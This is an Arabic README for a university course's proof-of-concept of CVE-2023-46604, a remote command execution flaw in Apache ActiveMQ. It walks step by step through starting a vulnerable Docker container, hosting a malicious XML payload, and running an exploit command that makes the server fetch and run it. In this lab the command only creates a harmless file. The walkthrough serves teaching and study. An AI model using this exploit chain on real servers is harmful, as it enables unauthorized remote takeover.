
PoC لـ CVE-2023-46604 مكتوب كجزء من فصل SPS في برنامج الماجستير في الأمن السيبراني المتقدم بجامعة UPB.
الواجب: الواجب الثالث لمادة SSP الفريق: RCE You Later الأعضاء: Banica Horia Alexandru, Comarlau Vlad-Constantin
رابط فيديو لاستخدام المستودع لعمل إثبات المفهوم: https://www.youtube.com/watch?v=vum4qTF4ygU
يحتوي هذا المستودع على إثبات مفهوم (PoC) وظيفي بالكامل للثغرة CVE-2023-46604. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر شيل عشوائية على خادم Apache ActiveMQ ضعيف (الإصدار 5.15.10) عن طريق إجباره على إلغاء تسلسل ملف تكوين XML ضار.
الهدف: إنشاء ملف باسم pwned_by_ssp_team داخل الخادم الضحية لإثبات أننا نملك السيطرة.
قبل تشغيل الاستغلال، تأكد من أن لديك:
vulnerable-env/: يحتوي على إعداد Docker للخادم الضحية.attacker/: يحتوي على نصوص الاستغلال والحمولات الضارة.
exploit.py: نص بايثون الذي يرسل الحزمة الضارة.serve.py: خادم HTTP بسيط لاستضافة حمولة XML.poc.xml: ملف التكوين الضار الذي يحتوي على الأمر touch /tmp/pwned_by_ssp_team.سنقوم بتشغيل إصدار قديم وضعيف من ActiveMQ باستخدام Docker.
vulnerable-env:
cd vulnerable-env
docker-compose up -d
يحتاج الخادم الضحية إلى تنزيل التعليمات منا. سنقوم بإعداد خادم ويب صغير لاستضافة هذه التعليمات.
attacker:
cd attacker
python3 serve.py
الآن نرسل حزمة الشبكة المحددة التي تؤدي إلى تفعيل الثغرة.
افتح محطة طرفية ثالثة.
انتقل إلى مجلد attacker:
cd attacker
شغّل نص الاستغلال. ملاحظة: إذا كنت على macOS أو Windows، استخدم الأمر أدناه كما هو تمامًا.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
مستخدمي Linux: إذا كنت على Linux، استبدل host.docker.internal ببوابة جسر الشبكة، عادةً: 172.17.0.1. حاول الحصول على العنوان بهذه الطريقة إذا لم يعمل المذكور: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'
هل نجح؟ دعنا نتحقق مما إذا كان الملف قد تم إنشاؤه داخل الحاوية.
/tmp داخل الضحية:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.لإيقاف وإزالة الحاوية الضعيفة:
cd vulnerable-env
docker-compose down